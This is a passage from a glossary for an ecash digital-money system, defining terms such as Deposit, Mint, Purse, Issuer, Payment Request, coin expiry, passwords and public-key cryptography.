Currency ID. (See also Coin Denomination Distribution).
|
||
Denomination – The integer value of a coin, expressed in the currency-fractions.
|
||
Deposit – (Purse) (cf. Bank Deposit) The sending, by the Purse, of (a number of) ecash Coins to the ecash
|
||
Account. These may be Coins which have been received as Payment (i.e. 'Deposit Payment') or Coins
|
||
stored on the Purse-holder's hard disk and not spent(i.e. 'Deposit Cash'). The Purse software also renews
|
||
any expired Coins by Depositing them at the Mint and making an equivalent Withdrawal.
|
||
Digital Signature – A technique using Public Key Cryptography that allows one party (the signer) to
|
||
attach a digital signature to a (digital) message. The signature can only be created by the signer, and all
|
||
other parties in the system can verify that the message was indeed signed by the signer. Digital signatures
|
||
are mainly used to provide Authentication.
|
||
Disable Account – Although some clients can access this function via the Abandon Trial routine, the bank
|
||
is usually directly responsible for the ecash Account status recorded at the Mint. It can be changed using
|
||
the various Mint Management interfaces.
|
||
Email Address – If you wish to change email addresses you should inform your Issuer (whose policy may
|
||
require that the Account ID is also changed accordingly). Merchants are assigned a more complete
|
||
corporate description as ID. An Account ID such as 'J.R. Smith (Engineering) Ltd.' is a clearer identifier
|
||
than the accompanying email address (e.g. smith@net.co.uk) and helps to ensure that customers send
|
||
their Payments to clearly identified Merchants.
|
||
Encryption – Process by which information is encoded , so that it can only be read by the holder of the
|
||
appropriate decryption key. Encryption is used to provide confidentiality of messages.
|
||
Error Codes – Error codes comprise an explanatory message and (in some clients) a numerical reference.
|
||
The online help page refers the browser to an explanatory text for each message. Error codes are also
|
||
listed in the Purse User manual.
|
||
(Purse) Event Log – The log which records the message exchanges and protocol execution of the ecash
|
||
client. This log is useful when an error appears to have occurred and can be accessed from the ecash
|
||
software in most instances.
|
||
|
||
(Mint) Event Log – Log which records the activity of the Mint, unsuccessful attempts to contact it and
|
||
aborted protocols. It also maintains a list of completed transactions.
|
||
Expired Coins – Coins which have passed their pre-determined expiration date are detected by the Purse
|
||
software. They are automatically exchanged for fresh coins during the next Withdrawal or Deposit
|
||
transaction (or manually when the 'Refresh Coins' function is used).
|
||
Filter – A range of functions which can be used to sub-divide the entries in a Transaction Log, so that
|
||
only transactions which fall inside the user-specified parameters are shown in the listing. The filters can
|
||
be used to list transactions of a particular type (e.g. Payments) or to establish a range of dates.
|
||
Firewall – A firewall is a computer which is placed between a local network and the Internet. Its main
|
||
function is to restrict the types of connections which can be made. Operating ecash client software from
|
||
behind a firewall (whether Merchant or end-user) usually requires some degree of additional installation
|
||
or configuration. Information about this is provided in the appropriate manuals.
|
||
Generate Keys – (Purse) The Account is supplied to the customer along with a Set-up Password. Once
|
||
this has been correctly entered, the client asks for random data, some of which is used to generate a
|
||
unique pair of keys. This process can take several minutes on PCs with slower processors, during which
|
||
time no activity is shown on the screen.
|
||
Global ID – A name which is globally unique can be constructed by adding a unique external address
|
||
(such as Mint ID, email address or IP address) and an internally unique address (such as Account
|
||
number).
|
||
Hash – A basic cryptographic function. A hash function is a form of checksum on a large message. The
|
||
basic property is that it is not computationally feasible (i.e. impossible in practice) to find two different
|
||
messages whose hash value is the same. Even the smallest change in the sequence of characters results in
|
||
a dramatic shift in the hash value.
|
||
Integrity – The property of a message such that it is possible to verify that it has not been changed or
|
||
altered by any third party. (cf. verification, integrity, uniqueness).
|
||
Issuer (ecash Issuer) – An ecash Issuer is an institution that provides digital Accounts, by operating a
|
||
Mint (ecash 2.3). It has its own keys for issuing Coins. There may be more than one Issuer in the system.
|
||
The Issuer underwrites the value of the money in the Accounts and of the Coins it has issued to all other
|
||
parties in the system.
|
||
Key – Any security code which can be used for authentication and encryption purposes by the software.
|
||
Key Version Number – A number uniquely identifying the key. When several keys are in use (e.g. while a
|
||
new key is being introduced) this identifies the key that was used in signing or encrypting the message.
|
||
Logs, Databases and Reports – A database is a file which holds information in a pre-configured matrix.
|
||
Each line of a database file is called a record. (i.e. A record may contain details of an Account, of a
|
||
Transaction, or of some other 'Mint Event') A Log is an open-ended file which automatically collects and
|
||
retains some (sub-set or supra-set) of these records in chronological order (Transactions Log, Mint Event
|
||
Log). Criteria for logging may be pre-configured in the software (e.g. The Purse-holder's Transaction Log
|
||
includes only the transactions on the named customer's account) or specified as part of the Log creation
|
||
procedure (e.g. parameters are usually inserted at the command line for generating Mint Logs and
|
||
Reports). A Report is a sub-set of a Log (which is normally up-to-date at the time of generation) and may
|
||
include checksums, totals and other arithmetical checks for consistency and auditing purposes. As an
|
||
alternative to reporting, logs may be 'rotated' (i.e. removed to storage and replaced with an empty file in
|
||
which the log entries will continue).
|
||
|
||
Merchant – A Merchant is a Purse-holder (consumer, retailer, shop or service provider) who accepts
|
||
Payment from other Purse-holders. The Merchant who runs a 'cybershop' will also use shop software
|
||
which will, in response to user input, generate a Payment Request which is sent via TCP/IP to the
|
||
customer. If the customer agrees, and returns a Payment message, the Merchant's Purse will Deposit the
|
||
coins at the Mint (online) and wait for the "Deposit Accepted' message before releasing the goods to the
|
||
customer. A Merchant is simply a Purse-holder who happens to be receiving the Payment. The shop
|
||
software adds functionality so that a 'cybershop' can generate and send Payment Requests (using the shop
|
||
Charge Script) and accept ecash Payments (i.e. Deposit and verify them) automatically.
|
||
Merchant ID – A human-readable string used to identify the Merchant's Account in a Payment. See
|
||
Account ID.
|
||
Merchant Purse – The Merchant client is provided with a text-mode interface containing some additional
|
||
functionality. Unlike the ordinary (end-user) Purse, the Merchant client will also create Payment Requests
|
||
upon demand, automatically send incoming Payments to the Mint for Deposit.
|
||
Mint – Version 2.x of ecash features Issuer software called Mint. The name derives from its primary
|
||
function, the issuance of digital Coins. The Mint can also handle Accounts and transactions, although
|
||
these are usually managed from a separate computer.
|
||
Mint Account – (syn. ecash Account) The Account from which ecash can be withdrawn is also known as
|
||
the ecash Account. The designated ecash Account is not always a conventional Bank Account, but may
|
||
be ( for instance) a separately numbered ecash Account at the Mint or a credit card.
|
||
Mint ID – In order to ensure that each Mint has a unique identifier and can be uniquely verified, each
|
||
Mint is provided with a unique number which is included in all encrypted messages to and from the Mint.
|
||
Mint Password – (Purse) The Password which the user must enter at the Purse before being able to access
|
||
the ecash account at the Mint. The Mint Password is therefore required when making a Bank Withdrawal
|
||
or Bank Deposit.
|
||
Network Port – Several parts of the ecash system may require that specific controls are adjusted to
|
||
indicate network port addresses. This is generally associated with ecash (Purse) software which is being
|
||
operated from behind a firewall, or ecash shops which are linked to an integration.
|
||
Numbe (cf. ID cf. Name) – Frequently used data, such as Account holders, and Transactions, is held in
|
||
two forms. The numeric form is suitable for the computer, and more easily capable of generating a unique
|
||
identity for the user. The ID (alphanumeric) form should be text-based (e.g. Name), and bear a clear
|
||
relationship to the name (and perhaps location) of the Account holder, however this may not be easy to
|
||
make globally unique and therefore lacks the secured uniqueness of the Number.
|
||
Password – When new accounts are created the Mint assigns a Set-up Password which must be passed
|
||
securely to the Purse-holder. Once this has been used to authenticate the new Purse-holder online, it is
|
||
supplanted by Mint and Purse Passwords of the Purse-holder's own choice. The unchangeable Recovery
|
||
Password is generated from random data during the Set-up of each account. This Passsword string must
|
||
be entered exactly before any Recovery can be initiated.
|
||
Paste – Payments of ecash can be included within many different file formats. Select the text area which
|
||
includes the payment and select 'Copy' (from the Edit Menu) so that the data is placed on your clipboard.
|
||
Now open your Purse and select Paste (at the top of the Payments Window). Ecash will try to retrieve the
|
||
coin numbers. The Purse is usually able to ignore other text characters which are part of the message or
|
||
the application formatting. If the coins are successfully retrieved from the message then you will be
|
||
presented with a deposit dialog.
|
||
Payment – The process of sending a Payment instrument from the Purse to the Merchant, and
|
||
acknowledgment of the Payment by returning a message to the Purse.
|
||
|
||
Payment Description – A descriptive string chosen by the Purse-holder and coupled to a Payment. The
|
||
Payment Description is shown to the Payee (and appears in the Transaction Logs of both parties) and may
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||
be used to identify the Payer (if desired) or to provide a text to accompany the Payment.
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Payment Request – A message requesting Payment of a specified amount which is sent by a Merchant
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Purse-holder. The Payment Request includes details of the Account to which Payment should be sent and,
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in the message field, may include specifications of the goods or services which will be supplied in
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exchange. The recipient needs only click on one button to agree to Payment and the rest of the process
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can be handled automatically.
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Phased Expiry Schedule – Coins expire in phases according to the specifications of the Coinage to which
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they belong. The dates for each stage in the expiry are specified in the Coinage Version. After the first
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expiry date, Coins can no longer be used in Payments but can still be Deposited back into the Purse-
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holders Account or exchanged for new Coins of equal value. After the final Expiry Date the status of the
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digital Coins becomes similar to obsolescent bank-notes; i.e. the coins are obsolete and must be submitted
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to the Issuing Mint for scrutiny before any reimbursement is offered.
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(Payment) Policy – (Purse) In some versions of the Purse, the user is provided with functionality which
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allows them to express a policy for receiving Payments. This can be used to instruct the Purse software to
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' Automatically accept all incoming Payments'.
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Private Key – The security key-code which can be used for signing and/or decrypting messages. The
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Private Key is kept secret by the party that created it.
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Public Key – The security key-code which can be used to encipher messages or verify signatures that
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have been created with the associated private key.
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Public Key Cryptography – Also known as asymmetric cryptography, the system uses one pair of keys
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for each user which are designated as Public Key and Private Key. Among its better-known forms are
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RSA, used in the S.W.I.F.T. system and similar protocols, and the American DSS (Digital Signature
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Standard).
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Purse – The ecash software for the end-user. The main role of the Purse is to protect the interests of the
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Purse-holder. The Purse takes care of all administrative and cryptographic tasks, and provides a friendly
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user-interface to the Purse-holder.
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Purse-holder – A real-life person or other legal entity that has at least one Account with an Issuer.
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Purse Password – The Password created by the user which protects access to the Purse and prevents an
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unauthorized user from spending the contents of the Purse.
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Purse Window – The Purse window shows the ecash toolbar and currency
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